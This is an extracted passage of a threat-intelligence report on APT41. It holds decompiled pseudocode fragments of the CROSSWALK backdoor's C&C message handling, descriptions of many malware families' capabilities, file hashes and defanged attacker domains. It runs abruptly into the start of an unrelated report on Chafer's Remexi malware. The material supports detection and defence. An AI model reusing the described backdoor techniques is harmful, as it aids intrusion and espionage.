+--v13; +113 } +114 while ( v13 ); +115 if ( v6 != v12 ) +return v2; +117 v16 = v4 + 48; +118 v17 = v9 + v10 - 192; +119 v18 = v17; +120 if ( v17 > 0 ) +121 { +v19 = v4[14]; +00008590 cgp_decode_shellcode:49 (8590) +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Obfuscation and Anti-Analysis Overlaps + Both code families share the same function at the start +of their shellcode to de-obfuscate subsequent shellcode. + A key function within the shellcode component that +generates a semi-random XOR key and is used in +multiple code locations for decoding is identical in +CROSSWALK and CROSSWALK.BIN. + Both use the same function for import resolution via an +ASCII hash. +However, there are differences between the two malware +families, including how they communicate to C&C servers. + CROSSWALK beacons with HTTP GET and POST requests, +while CROSSWALK.BIN uses a custom binary protocol. + CROSSWALK.BIN contains a driver component for +covert C&C, which CROSSWALK lacks. + Both families contain similar code to process identical +message types, but their answers differ. + CROSSWALK.BIN answers to 0x78 and 0x7A +message types by calling large functions wrapping +the business logic. +Figure 23: +CROSSWALK (left) +and CROSSWALK. +BIN (right) code +for answering +different C&C +message types. + CROSSWALK has different, much shorter code +embedded directly in the "case" statement. +strcpy(&v22, "r c:%d,l:%d\n"); +v11 = 0i64; +v12 = 0; +(*(v3 + 2032))(&v22, v8, v5); +switch ( *msg_type ) +case 0x64u: +if ( msg_type[1] != 216 ) +v16 = 100; +goto LABEL_37; +v21 = (*(v9 + 248))(0i64, 216i64, 4096i64, 4i64); +if ( !v21 ) +return 0; +(*(*(v9 + 200) + 1856i64))(v21, v7, msg_type[1]); +if ( (*(*(v9 + 200) + 928i64))(*(v9 + 832), 100i64, v21, msg_type[1]) > +return 1; +v10 = 0; +v14 = (*(*(v9 + 200) + 320i64))(); +v15 = 7021i64; +goto LABEL_42; +case 0x6Eu: +return 1; +case 0x78u: +if ( msg_type[1] != 16 ) +v16 = 120; +goto LABEL_37; +v20 = (*(v9 + 248))(0i64, 16i64, 4096i64, 4i64); +if ( !v20 ) +return 0; +(*(*(v9 + 200) + 1856i64))(v21, v7, msg_type[1]); +if ( (*(*(v9 + 200) + 928i64))(*(v9 + 832), 100i64, v21, msg_type[1]) > +return 1; +v10 = 0; +v14 = (*(*(v9 + 200) + 320i64))(); +v15 = 7021i64; +goto LABEL_42; +case 0x7Au: +v19 = msg_type[1]; +if ( v19 <= 0x1000 ) +if ( v19 ) +v11 = (*(v9 + 248))(0i64, 16i64, 4096i64, 4i64); +if ( !v11 ) +return 10; +(*(*(v9 + 200) + 1856i64))(v11, v7, msg_type[1]); +v12 = msg_type[1]; +if ( (*(*(v9 + 200) + 928i64))(*(v9 + 832), 122i64, v11, v12) > 0 ) +return 1; +v14 = (*(*(v9 + 200 + 320i64))(); +v15 = 7023i64 +goto LABEL_42 +v16 = 122; +goto LABEL_37; +case 0x82u: +strcpy(&fmt_msg, "r c%d,l:%d\n"): +if ( !v3 ) +goto LABEL_48 +v6 = sub_3398(); +v2 = v6; +if ( v6 == 2 ) +return 1; +if ( v6 <= 0 ) +return v2; +LABEL_48: +v7 = (msg_type + 11); +(*(*(v5 + 200) + 1872i64))(&fmt_msg, *msg_type, msg_type[1]); +switch ( *msg_type ) +case 0x64u: +(*(*(v5 + 200 + 1872i64))(v5 + 1320, 22i64); +v13 = cgp_cb_msgtype_0x64_wrapper(v5, (msg_type + 11)); +v9 = v5; +if ( v13 > 0 ) +*(v5 + 760) = 1; +if ( sub_5F44(v5) > 0 ) +return 1; +v9 = v5; +v11 = 100; +goto LABEL_43; +case 0x6Eu: +return 1; +case 0x78u: +v10 = cgp_cb_msgtype_0x78(v5, v8, msg_type + 11); +goto LABEL_38; +case 0x7Au; +v10 = cgp_cb_msgtype_07A(v5, v8, (msg_type + 11)); +goto LABEL_38; +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +TECHNICAL ANNEX +Malware Used by APT41 +Table 15. Malware used by APT41. +Malware +Description +ACEHASH +ACEHASH is a credential theft/password hash dumping +utility. The code may be based in Mimikatz and appears to +be publicly available. +ADORE.XSEC +ADORE.XSEC is a Linux backdoor that may be used with +the ADORE rootkit. +Detected as +FE_Trojan_AceHash +FE_APT_Backdoor_Linux64_ADORE_1 +FE_APT_Rootkit_Linux64_ADORE_1 +FE_APT_Rootkit_ADORE +FE_Webshell_ASPX_ASPXSPY_1 +ASPXSPY +ASPXSPY is a publicly available web shell that may contain +the text "ASPXSpy Ver: 2009." +BEACON +BEACON malware is a backdoor that is commercially +available as part of the Cobalt Strike software platform, +commonly used for pen-testing network environments. The +malware supports several capabilities, such as injecting +and executing arbitrary code, uploading and downloading +files, and executing shell commands. +CHINACHOP +CHINACHOP is a simple code injection web shell that can +execute Microsoft .NET code within HTTP POST commands. +This allows CHINACHOP to upload and download files, +execute applications with web server account permissions, +list directory contents, access Active Directory, access +databases, and perform any other action allowed by the +.NET runtime. CHINACHOP is composed of at least two +parts: a small bit of code on a server and a client that +provides C&C. +FE_Webshell_ASPX_ASPXSPY_2 +FE_Webshell_ASPX_ASPXSPY_3 +FE_Webshell_ASPX_ASPXSPY_4 +FE_Backdoor_Win_BEACON_1 +FE_Trojan_PS1_BEACON_1 +FE_Webshell_JSP_CHOPPER_1 +FE_Webshell_Java_CHOPPER_1 +FE_Webshell_MSIL_CHOPPER_1 +FE_APT_Trojan_COLDJAVA_Dropper +COLDJAVA +COLDJAVA is a backdoor that drops shellcode and a +BLACKCOFFEE variant payload into the Windows registry. +FE_APT_Trojan_COLDJAVA_64 +FE_APT_Trojan_COLDJAVA_32 +FE_APT_Backdoor_COLDJAVA +FE_APT_Trojan_COLDJAVA_Launcher +CRACKSHOT +CRACKSHOT is a downloader that can download files, +including binaries, and run them from the hard disk or +execute them directly in memory. It is also capable of +placing itself into a dormant state. +CROSSWALK is a skeletal, modular backdoor capable of +system survey and adding modules in response to C&C +replies. +FE_APT_Backdoor_Win_CROSSWALK_1 +CROSSWALK +CROSSWALK.BIN is a kernel driver that can implement +firewall-level filters to detect tasking packets and covertly +send data. +FE_APT_Dropper_Win64_CROSSWALK_1 +CROSSWALK.BIN +FE_Backdoor_Win32_CRACKSHOT_1 +Backdoor.Win.CRACKSHOT +FE_APT_Loader_Win_CROSSWALK_1 +APT.Backdoor.Win.CROSSWALK +FE_APT_Dropper_Win64_CROSSWALK_2 +FE_APT_Trojan_Win64_CROSSWALK_1 +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Table 15. Malware used by APT41. +Malware +Description +Detected as +DEADEYE +DEADEYE is a downloader that is installed as a Service +DLL. It can use RC5 encryption to decrypt and install +payloads obtained from its C&C server. +DOWNTIME +DOWNTIME is a backdoor dropped as an embedded PE file +to a variety of locations on disk or loaded and executed in +memory. The final payload is a DLL used to install, manage, +and execute plugin DLLs. +EASYNIGHT +EASYNIGHT is a loader observed used with several +malware families, including HIGHNOON and HIGHNOON. +LITE. The loader often acts as a persistence mechanism via +search order hijacking. +ENCRYPTORRAAS +ENCRYPTORRAAS (Encryptor RaaS) is a ransomware that +encrypts all files on the system that match an included +file extensions list. As is typical of most ransomware, +a combination of both public-key and symmetric-key +cryptography is used to encrypt the data. File data is +encrypted using RC6, with the RC6 key for each file being +encrypted with RSA. A ransom note in the form of a text +file, typically named "readme_liesmich_encryptor_raas. +txt," is dropped in every directory in which a file was +encrypted. Encryptor RaaS was sold via a RaaS operation +that was available around the 2015 +2016 time frame via a +Tor (.onion) website. +FRONTWHEEL +FRONTWHEEL is a driver for the HIGHNOON.BIN +backdoor. +FE_APT_Rootkit_Win64_FRONTWHEEL_1 +GEARSHIFT +GEARSHIFT is a memory-only dropper for two keylogger +DLLs. It is designed to replace a legitimate Fax Service +DLL. +FE_APT_Keylogger_GEARSHIFT +GH0ST +Gh0st is a remote access tool (RAT) derived from publicly +available source code. It provides threat actors with the +ability to perform screen and audio captures, enable a +webcam, list and kill processes, open a command shell, +wipe event logs, and create, manipulate, delete, launch, +and transfer files. +GOODLUCK +GOODLUCK is a credential-stealing DLL that modifies the +registry, so it loads when a user logs on to the system. It +steals credentials from the logon screen and saves the +information to a local file. +HIGHNOON +HIGHNOON is a backdoor that may consist of multiple +components. The components may include a loader, a +DLL, and a rootkit. Both the loader and the DLL may be +dropped together, but the rootkit may be embedded in the +DLL. The HIGHNOON loader may be designed to run as a +Windows service. +FE_APT_Loader_Win64_DEADEYE_1 +FE_APT_Loader_Win64_DEADEYE_2 +FE_Dropper_Win32_DOWNTIME_1 +FE_Loader_Win32_DOWNTIME_1 +FE_APT_Loader_Win_EASYNIGHT_1 +FE_Ransomware_Win32_ENCRYPTORRAAS_1 +FE_Ransomware_Win32_ENCRYPTORRAAS_2 +Backdoor.APT.Gh0stRat +Backdoor.APT.Gh0st Trojan.Ghost +Hacktool.APT.GOODLUCK +FE_APT_Backdoor_Win64_HIGHNOON_1 +FE_APT_Dropper_HIGHNOON_B +FE_APT_Loader_Win64_HIGHNOON_2 +FE_APT_Loader_Win64_HIGHNOON_3 +FE_APT_Rootkit_Win64_HIGHNOON_1 +FE_APT_Rootkit_Win64_HIGHNOON_2 +FE_APT_Rootkit_Win64_HIGHNOON_3 +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Table 15. Malware used by APT41. +Malware +Description +Detected as +FE_APT_Trojan_Win32_HIGHNOON_1 +HIGHNOON.BIN +HIGHNOON.BIN is a modified version of the Windows DLL +apphelp.dll, which is loaded via search order hijacking. +HIGHNOON.BIN contains a malicious shellcode backdoor +that is loaded into memory at runtime. +FE_APT_Loader_Win32_HIGHNOON_1 +FE_APT_Loader_Win64_HIGHNOON_1 +FE_APT_Trojan_Win32_HIGHNOON_2 +APT.Backdoor.Win.HIGHNOON +APT.Backdoor.Win.HIGHNOON +HIGHNOON.LITE +HIGHNOON.LITE is a standalone, non-persistent variant of +the HIGHNOON backdoor. This version accepts a hostname +and port on the command line. If no port is specified, the +malware will use port 80 by default. HIGHNOON.LITE +can download and execute additional memory-resident +modules after it authenticates with the C&C server. +HIGHNOON.LINUX +HIGHNOON.LINUX is a Linux backdoor designed to +operate with a rootkit and can launch and establish +persistence for an sshd client whose presence and activity +is hidden by the rootkit. +FE_APT_Trojan_Win32_HIGHNOON_7 +FE_APT_Trojan_Linux64_HIGHNOON_1 +FE_APT_Rootkit_Linux64_HIG +HNOON_1 +HIGHNOON. +PASTEBOY +HIGHNOON.PASTEBOY is a variant of HIGHNOON that +utilizes legitimate websites hosting encoded base64 +strings that decode to the actual C2 address. +TROJAN.APT.PASTEBOY +HKDOOR +HKDOOR (aka Hacker's Door) is a remote administration +tool designed as a DLL that can either run as a service +or with rundll32.exe. HKDOOR drops and installs a +kernel rootkit and has a variety of capabilities, including +manipulating files and processes, connecting to URLs, and +shutting down the compromised system. All HKDOOR's +string resources are encoded with a transposition +algorithm. +Backdoor.APT.HKDOOR +FE_APT_HOMEUNIX_1 +FE_APT_HOMEUNIX_2 +FE_APT_HOMEUNIX_3 +FE_APT_HOMEUNIX_4 +FE_APT_HOMEUNIX_5 +FE_APT_HOMEUNIX_6 +HOMEUNIX +HOMEUNIX is primarily a generic launcher for downloaded +plugins. The plugins are stored in a memory buffer and +then loaded and linked manually by the malware, meaning +the plugins never have to touch disk. However, HOMEUNIX +may also store and save plugins. The plugins will run after +the system is rebooted without the actor having to send +them again to the victim system. +FE_APT_HOMEUNIX_7 +FE_APT_HOMEUNIX_8 +FE_APT_HOMEUNIX_9 +FE_APT_HOMEUNIX_10 +FE_APT_HOMEUNIX_11 +FE_APT_HOMEUNIX_12 +FE_APT_HOMEUNIX_13 +FE_APT_HOMEUNIX_14 +FE_APT_HOMEUNIX_15 +FE_APT_HOMEUNIX_16 +APT.Backdoor.Win.HOMEUNIX +Backdoor.HOMEUNIX.SNK.DNS +Trojan.APT.9002, Backdoor.APT.9002 +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Table 15. Malware used by APT41. +Malware +Description +Detected as +HOTCHAI +HOTCHAI is a backdoor that receives and XOR-decodes a +FE_APT_Backdoor_HOTCHAI +DNS response message to retrieve the true C&C IP address. +JUMPALL +JUMPALL is a malware dropper that has been observed +dropping HIGHNOON/ZXSHELL/SOGU. +LATELUNCH +LATELUNCH is a loader that decodes a file specified on the +command line and loads and executes it in memory. +LIFEBOAT +LIFEBOAT is a backdoor that has the capability to +communicate with its C&C over HTTP. +LOWKEY +LOWKEY is a passive backdoor that utilizes a user mode +rootkit to provide covert communications with the +backdoor component by forwarding packets in between a +TCP Socket and a named pipe. +FE_Dropper_Win_JUMPALL_1 +FE_Dropper_Win_JUMPALL_2 +FE_Loader_Win64_LATELUNCH_1 +FE_APT_Dropper_Win32_LIFE +BOAT_1 FE_APT_Downloader_Win32_ +LIFEBOAT_1 APT.Downloader.Win.LIFEBOAT +FE_APT_ROOTKIT_WIN64_LOWKEY_1 +FE_APT_LOADER_WIN64_LOWKEY_1 +FE_APT_BACKDOOR_WIN64_LOWKEY_1 +APT.BACKDOOR.Win.LOWKEY +Trojan.Njrat +Backdoor.Bladabindi +Trojan.Bladabindi +Backdoor.MSIL.Bladabindi +NJRAT +njRAT is a RAT project that was in development possibly +as early as 2010, and it has seen a number of incremental +updates since that time. The author of njRAT is widely +believed to be a Kuwaiti actor using the handle "njq8." +njq8, whose real name is believed to be Naser Al Mutairi, +and who has previously used the handles "NJN" and +"xNJQ8x," has been involved in the development of +multiple hacking tools, including RATs, worms, crypters, +and binders. He is, however, primarily known as the +developer of njRAT, which he has distributed on private +hacking forums and more visibly via Twitter. +Trojan.Bladabindi.F +Trojan.Bladabindi.njRat +Trojan.Bladabindi.DNS +Backdoor.Bladabindi.DNS +Backdoor.Ratenjay +Backdoor.LV +Backdooor.njRat.MVX +Backdoor.njRat.MVX +Win.Worm.Njrat-2 +Trojan.NjRAT, Win.Worm.Njrat +Malware.DTI.Bladabindi, +Trojan.MSIL.Bladabindi +Hacktool.Bladabindi +PACMAN +PACMAN is a backdoor designed to run as a service. Once +active, PACMAN calls out to a hard-coded C&C domain. +PACMAN has the following capabilities: retrieve drive +types, terminate processes, create directories, obtain a +directory listing, move files, return file attributes, remove +directories, create files, read files, and copy files. PACMAN +can also extract credentials from Internet Explorer. +PHOTO +PHOTO is a DLL backdoor that can obtain directory, file, +and drive listings, create a reverse shell, perform screen +captures, record video and audio, list, terminate, and create +processes, enumerate, start, and delete registry keys and +values, log keystrokes, return user names and passwords +from protected storage, and rename, delete, copy, move, +read, and write to files. +FE_Backdoor_Win32_PACMAN_1 +Backdoor.Win.PACMAN +Backdoor.APT.PHOTO +FE_APT_Photos_Metadata +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Table 15. Malware used by APT41. +Malware +Description +POISONPLUG +POISONPLUG is a highly obfuscated modular backdoor +with plug-in capabilities. The malware is capable of registry +or service persistence, self-removal, plug-in execution, and +network connection forwarding. POISONPLUG has been +observed using social platforms to host encoded C&C +commands. +POISONPLUG. +SHADOW +POISONPLUG.SHADOW is a modular backdoor with plugin +capabilities. The first stage is shellcode, observed within +compromised legitimate software. It connects to a C&C +server for validation and configuration information to +download the second stage. The second stage is a modular +backdoor that can download plugins for additional +functionality. POISONPLUG.SHADOW is assessed as an +evolution of the POISONPLUG family. +POTROAST +POTROAST is a backdoor that connects to a hardcoded C&C server. Its capabilities include downloading, +uploading, and executing files and creating a reverse shell. +ROCKBOOT +ROCKBOOT can access and write to the compromised +system's hard disk drive beneath the operating system +and file system to bypass the normal MBR boot sequence +and execute malware prior to the host operating system +being initialized. ROCKBOOT does not contain a malicious +payload but relies on a secondary payload for malicious +activities, which is specified at install time. +SAGEHIRE +SAGEHIRE is a multistage implant that decodes each stage +using shellcode and includes keylogging capabilities. +SWEETCANDLE +SWEETCANDLE is a downloader that can download and +execute a payload received from the C&C server. +SOGU +TERA +TIDYELF +SOGU is a backdoor that is capable of file upload and +download, arbitrary process execution, filesystem and +registry access, service configuration access, remote +shell access, and implementing a custom VNC/RDP-like +protocol to provide the C&C server with graphical access +to the desktop. +TERA is a backdoor that uses legitimate services, such +as Google Translate and Yahoo! Babel Fish, as proxies to +download C&C configurations. It also uses a rootkit to +mask network activity. After resolving the IP address of +its C&C server, TERA will provide an input output control +(IOCTL) code to its driver (rootkit component). +TIDYELF is a dropper for the WINTERLOVE backdoor. +WINTERLOVE has been observed embedded within a +resource within TIDYELF. TIDYELF will load the main +WINTERLOVE component by injecting it into the iexplore. +exe process. It will then create a registry key named +HKLM\SOFTWARE\RAT to store configuration data for +WINTERLOVE components to use. +Detected as +Backdoor.Win.POISONPLUG +APT.Backdoor.Win.POISONPLUG +FE_Backdoor_Win_POISONPLUG_1 +FE_Backdoor_Win32_POISONPLUG_1 +FE_Backdoor_Win_POISONPLUG_2 +FE_APT_Backdoor_Win_POTROAST_1 +APT.Backdoor.Win.POTROAST +FE_APT_Backdoor_ROCKBOOT +FE_Loader_Win_ROCKBOOT_1 +FE_APT_Sunshop_Dialog +FE_APT_Downloader_Win32_SWEETCANDLE_1 +FE_APT_Downloader_Win32_SWEETCANDLE_2 +APT.Downloader.Win.SWEETCANDLE +Backdoor.APT.SOGU +Backdoor.APT.Kaba +Trojan.Plugx +FE_APT_Backdoor_Win32_TERA_1 +FE_APT_Backdoor_Win32_TERA_2 +FE_APT_Backdoor_Win32_TERA_3 +FE_APT_Backdoor_Win64_TERA_1 +FE_APT_Rootkit_Win64_TERA_1 +FE_APT_Dropper_Win32_TIDYELF_1 +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Table 15. Malware used by APT41. +Malware +Description +WIDETONE +WIDETONE is a command-line tool that can perform +network-based reconnaissance tasks, including port scans, +service banner scans, and pingscans. WIDETONE can +brute-force credentials for SQL servers and Inter-Process +Communication (IPC) shares. WIDETONE can also query +Windows host information and perform dictionary and +brute-force attacks. +WINTERLOVE +WINTERLOVE is a backdoor used by suspected Chinese +cyber espionage actors. WINTERLOVE attempts to load +and execute remote code in a running process and can +enumerate system files and directories. +XDOOR +X-Door is a full-featured remote administration tool (RAT) +with a configurable deployment and plug-in architecture. It +is freely downloadable through a Chinese website, and the +deployment interface and server use the Chinese language. +X-Door contains functionality for keylogging, audio and +video capture, file transfers, acting as a proxy, retrieving +system information, providing a reverse command +shell, injecting DLLs, and downloading and launching +commands. +XMRIG +XMRIG is an open-source Monero cryptocurrency miner. It +has variants for CPU, NVIDIA GPU, and AMD GPU mining. +Detected as +FE_Trojan_Win_WIDETONE_1 +FE_Trojan_Win32_WIDETONE_1 +FE_APT_Loader_Win32_WINTERLOVE_1 +FE_APT_Keylogger_Win32_WINTERLOVE_1 +FE_APT_Loader_Win32_WINTERLOVE_2 +FE_APT_Trojan_Win32_WINTERLOVE_1 +FE_APT_Backdoor_Win32_WINTERLOVE_1 +FE_APT_Backdoor_XDOOR +Backdoor.APT.XDOOR +FE_Trojan_Win_XMRMiner_1 +FE_PUP_Win_XMRig_1 +Backdoor.APT.ZXShell +FE_APT_Backdoor_ZXShell +FE_APT_ZXSHELL_1 +ZXSHELL +ZXSHELL is a backdoor that can be downloaded from +the internet, particularly Chinese hacker websites. The +backdoor can launch port scans, run a keylogger, capture +screenshots, set up an HTTP or SOCKS proxy, launch a +reverse command shell, cause SYN floods, and transfer/ +delete/run files. The publicly available version of the tool +provides a graphical user interface that malicious actors +can use to interact with victim backdoors. Simplified +Chinese is the language used for the bundled ZXSHELL +documentation. +FE_APT_ZXSHELL_2 +FE_APT_ZXSHELL_3 +FE_APT_ZXSHELL_4 +FE_APT_ZXSHELL_5 +FE_APT_ZXSHELL_6 +Backdoor.APT.ZXShell.SYSINFO_Command +Backdoor.APT.ZXShell.GETCMD_Command +Backdoor.APT.ZXShell.FILEMG_Command +Backdoor.APT.ZXShell.TRANSFILE_Command, +ZXSHELL RAT, Trojan.ZxShell +Backdoor.APT.Viper +FE_APT_VIPER +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +TECHNICAL ANNEX +APT41 IOCs +Table 16. CRACKSHOT +File MD5 +File SHA1 +04fb0ccf3ef309b1cd587f609ab0e81e +44260a1dfd92922a621124640015160e621f32d5 +0b2e07205245697a749e422238f9f785 +dde82093decde6371eb852a5e9a1aa4acf3b56ba +272537bbd2a8e2a2c3938dc31f0d2461 +a045939f53c5ad2c0f7368b082aa7b0bd7b116da +dd792f9185860e1464b4346254b2101b +a260dcf193e747cee49ae83568eea6c04bf93cb3 +fcfab508663d9ce519b51f767e902806 +8272c1f41f7c223316c0d78bd3bd5744e25c2e9f +File SHA256 +993d14d00b1463519fea78ca65d852966 +3f487cd76b67b3fd35440bcdf7a8e31 +049a2d4d54c511b16f8bc33dae670736bf +938c3542f2342192ad877ab38a7b5d +d00b3edc3fe688fa035f1b919ef6e8f4 +51a9c2197ef83d9bac3fa3af5e752243 +7096f1fdefa15065283a0b7928d1ab9792 +3688c7974f98a33c94de214c675567 +c667c9b2b9741247a56fcf0deebb4dc52 +b9ab4c0da6d9cdaba5461a5e2c86e0c +Table 17. GEARSHIFT +File MD5 +File SHA1 +5b26f5c7c367d5e976aaba320965cc7f +c2fb50c9ef7ae776a42409bce8ef1be464654a4e +f8c89ccd8937f2b760e6706738210744 +f3c222606f890573e6128fbeb389f37bd6f6bda3 +File SHA256 +7e0c95fc64357f12e837112987333cdaf +8c1208ef8c100649eba71f1ea90c1db +4aa6970cac04ace4a930de67d4c18106c +f4004ba66670cfcdaa77a4c4821a213 +Table 18. HIGHNOON +File MD5 +File SHA1 +46a557fbdce734a6794b228df0195474 +41bac813ae07aef41436e8ad22d605f786f9e099 +77c60e5d2d99c3f63f2aea1773ed4653 +ad77a34627192abdf32daa9208fbde8b4ebfb25c +849ab91e93116ae420d2fe2136d24a87 +3f1dee370a155dc2e8fb15e776821d7697583c75 +File SHA256 +42d138d0938494fd64e1e919707e7201 +e6675b1122bf30ab51b1ae26adaec921 +7566558469ede04efc665212b45786a +730055770f6ea8f924d8c1e324cae8691 +7cd17fc948eb5fa398b8554fea036bdb +3c0045880e03acbe532f4082c271e3c5 +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Table 19. HIGHNOON.BIN +File MD5 +36711896cfeb67f599305b590f195aec +File SHA1 +File SHA256 +1036a7088b060250bb66b6de91f0c6ac462 +490c3e4af829e85751a44d21b25de1781 +dc24c +cfe4961afdef6bb5759d9451f530994 +7d51ea0230d4692eeedc2d5a4cd66d2d +5ee7c57dc84391f63eaa3824c53cc10eafc9e388 +a0a96138b57ee24eed31b652ddf60d4e +03de2118aac6f20786043c7ef0324ef01dcf4265 +63e8ed9692810d562adb80f27bb1aeaf +48849e468bf5fd157bc83ca83139b6d7 +79190925bd1c3fae65b0d11db40ac8e6 +1fb9326ccfed9b7e09084b891089602d +Table 20. JUMPALL +File MD5 +ba08b593250c3ca5c13f56e2ca97d85e +File SHA1 +File SHA256 +adde0644a572ed593e8b0566698d4e3de0fe +c51c5bbc6f59407286276ce07f0f7ea9 +fb8a +94e76216e0abe34cbf20f1b1cbd9446d +Table 21. POISONPLUG +File MD5 +File SHA1 +223e4cc4cf5ce049f300671697a17a01 +1835c7751436cc199c55b42f34566d25fe6104ca +37e100dd8b2ad8b301b130c2bca3f1ea +32466d8d232d7b1801f456fe336615e6fa5e6ffb +557ff68798c71652db8a85596a4bab72 +971bb08196bba400b07cf213345f55ce0a6eedc8 +830a09ff05eac9a5f42897ba5176a36a +2366d181a1697bcb4f368df397dd0533ab8b5d27 +b0877494d36fab1f9f4219c3defbfb19 +4dc5fadece500ccd8cc49cfcf8a1b59baee3382a +c8403fabda4d036a55d0353520e765c9 +d0429abec299ddfee7e1d9ccff1766afd4c0992b +ff8d92dfbcda572ef97c142017eec658 +6f065eea36e28403d4d518b8e24bb7a915b612c3 +ffd0f34739c1568797891b9961111464 +82072cb53416c89bfee95b239f9a90677a0848df +File SHA256 +e65d39fa659f64a57ee13e8a638abd9 +031fa1486311d2782f32e979d5dee1ca5 +2eea29d83f485897e2bac9501ef000cc +266ffe10019d8c529555a3435ac4aabd +5d971ed3947597fbb7e51d806647b37d +64d9fe915b35c7c9eaf79a37b82dab90 +70c03ce5c80aca2d35a5555b0532eede +de24d4cc6bdb32a2c8f7e630bba5f26e +3e6c4e97cc09d0432fbbbf3f3e424d4a +a967d3073b6002305cd6573c47f0341f +9283703dfbc642dd70c8c76675285526 +90e998bcb3f3374273c0b5c90c0d1366 +f4d57acde4bc546a10cd199c70cdad0 +9f576fdfe66a36b08a00c19ff6ae19661 +0055dfaccc952c99b1171ce431a02abf +ce5c6f8fb5dc39e4019b624a7d03bfcb +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Table 22. POISONPLUG.SHADOW +File MD5 +File SHA1 +72584d6b7dd10c82d9118567b548b2b1 +f067443c2c4d99dc6577006a2f105e51af731659 +97363d50a279492fda14cbab53429e75 +f1a181d29b38dfe60d8ea487e8ed0ef30f064763 +a6c7db170bc7a4ee2cdb192247b59cd6 +5a85d1e19e0414fc59e454ccbaef0a3c6bb41268 +File SHA256 +faedf9fef6edac2f0565882112b2eae14e +dda024239d3218a9fe9ac7e0b12db6 +462a02a8094e833fd456baf0a6d4e18 +bb7dab1a9f74d5f163a8334921a4ffde8 +92cb362ae8d24c05f368d13036534fe01 +4344994d46031a0a8636a7ca0b792c6 +Phishing Payloads +Table 23. +(MERS) +File MD5 +5e87b09f9a3f1b728c9797560a38764b +File SHA1 +67c957c268c1e56cc8eb34b02e5c09eae62680f5 +File SHA256 +354c174e583e968f0ecf86cc20d59ecd +6e0f9d21800428453b8db63f344f0f22 +Table 24. Documents.7z +File MD5 +8c6cceae2eea92deb6f7632f949293f0 +File SHA1 +b193ff40a98cd086f92893784d8896065faa3ee3 +File SHA256 +bae8f4f5fc959bff980d6a6d12797b0d +647e97cc811c5b9e827d0b985d87f68f +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Domains +Email Addresses + agegamepay[.]com + ageofwuxia[.]com + ageofwuxia[.]info + ageofwuxia[.]net + ageofwuxia[.]org + bugcheck.xigncodeservice[.]com + byeserver[.]com + dnsgogle[.]com + gamewushu[.]com + gxxservice[.]com + ibmupdate[.]com + infestexe[.]com + kasparsky[.]net + linux-update[.]net + macfee[.]ga + micros0ff[.]com + micros0tf[.]com + notped[.]com + operatingbox[.]com + paniesx[.]com + serverbye[.]com + sexyjapan.ddns[.]info + symanteclabs[.]com + techniciantext[.]com + win7update[.]net + xigncodeservice[.]com + akbklxp@126[.]com + akbklxp@163[.]com + hackershby@126[.]com + hrsimon59@gmail[.]com + injuriesa@126[.]com + injuriesa@163[.]com + injuriesa@gmail[.]com + injuriesa@hotmail[.]com + injuriesa@qq[.]com + kbklxp@126[.]com + petervc1983@gmail[.]com + ravinder10@126[.]com + ravinder10@hotmail[.]com + ravinder10@sohu[.]com + wolf_zhi@yahoo[.]com +URLs +To learn more about FireEye, visit: www.FireEye.com +FireEye, Inc. +About FireEye, Inc. +601 McCarthy Blvd. Milpitas, CA 95035 +408.321.6300/877.FIREEYE (347.3393) +info@FireEye.com +FireEye is the intelligence-led security company. Working as a +seamless, scalable extension of customer security operations, FireEye +offers a single platform that blends innovative security technologies, +nation-state grade threat intelligence, and world-renowned Mandiant +consulting. With this approach, FireEye eliminates the complexity and +burden of cyber security for organizations struggling to prepare for, +prevent, and respond to cyber attacks. + 2019 FireEye, Inc. All rights reserved. FireEye is +a registered trademark of FireEye, Inc. All other +brands, products, or service names are or may be +trademarks or service marks of their respective +owners. SP.APT41.2019.US-EN-000209-03 +Chafer used Remexi malware to spy on Iran-based foreign +diplomatic entities +securelist.com/chafer-used-remexi-malware/89538 +By Denis Legezo +Executive Summary +Throughout the autumn of 2018 we analyzed a long-standing (and still active at that time) +cyber-espionage campaign that was primarily targeting foreign diplomatic entities based in +Iran. The attackers were using an improved version of Remexi in what the victimology +suggests might be a domestic cyber-espionage operation. This malware has previously been +associated with an APT actor that Symantec calls Chafer. +The malware can exfiltrate keystrokes, screenshots, browser-related data like cookies and +history, decrypted when possible. The attackers rely heavily on Microsoft technologies on +both the client and server sides: the Trojan uses standard Windows utilities like Microsoft +Background Intelligent Transfer Service (BITS) bitsadmin.exe to receive commands and +exfiltrate data. Its C2 is based on IIS using .asp technology to handle the victims + HTTP +requests. +Remexi developers use the C programming language and GCC compiler on Windows in the +MinGW environment. They most likely used the Qt Creator IDE in a Windows environment. +The malware utilizes several persistence mechanisms including scheduled tasks, Userinit +and Run registry keys in the HKLM hive. +XOR and RC4 encryption is used with quite long unique keys for different samples. Among +all these random keys once the word +salamati + was also used, which means +health +Farsi. +Kaspersky Lab products detect the malware described in this report as Trojan.Win32.Remexi +and Trojan.Win32.Agent. This blogpost is based in our original report shared with our APT +Intelligence Reporting customers last November 2018. For more information please contact: +intelreports@kaspersky.com +Technical analysis +The main tool used in this campaign is an updated version of the Remexi malware, publicly +reported by Symantec back in 2015. The newest module +s compilation timestamp is March +2018. The developers used GCC compiler on Windows in the MinGW environment. +Inside the binaries the compiler left references to the names of the C source file modules +used: +operation_reg.c +thread_command.c + and +thread_upload.c +. Like mentioned in +modules file names the malware consists of several working threads dedicated to different +tasks, including C2 command parsing and data exfiltration. For both the receiving of C2 +commands and exfiltration, Remexi uses the Microsoft Background Intelligent Transfer +Service (BITS) 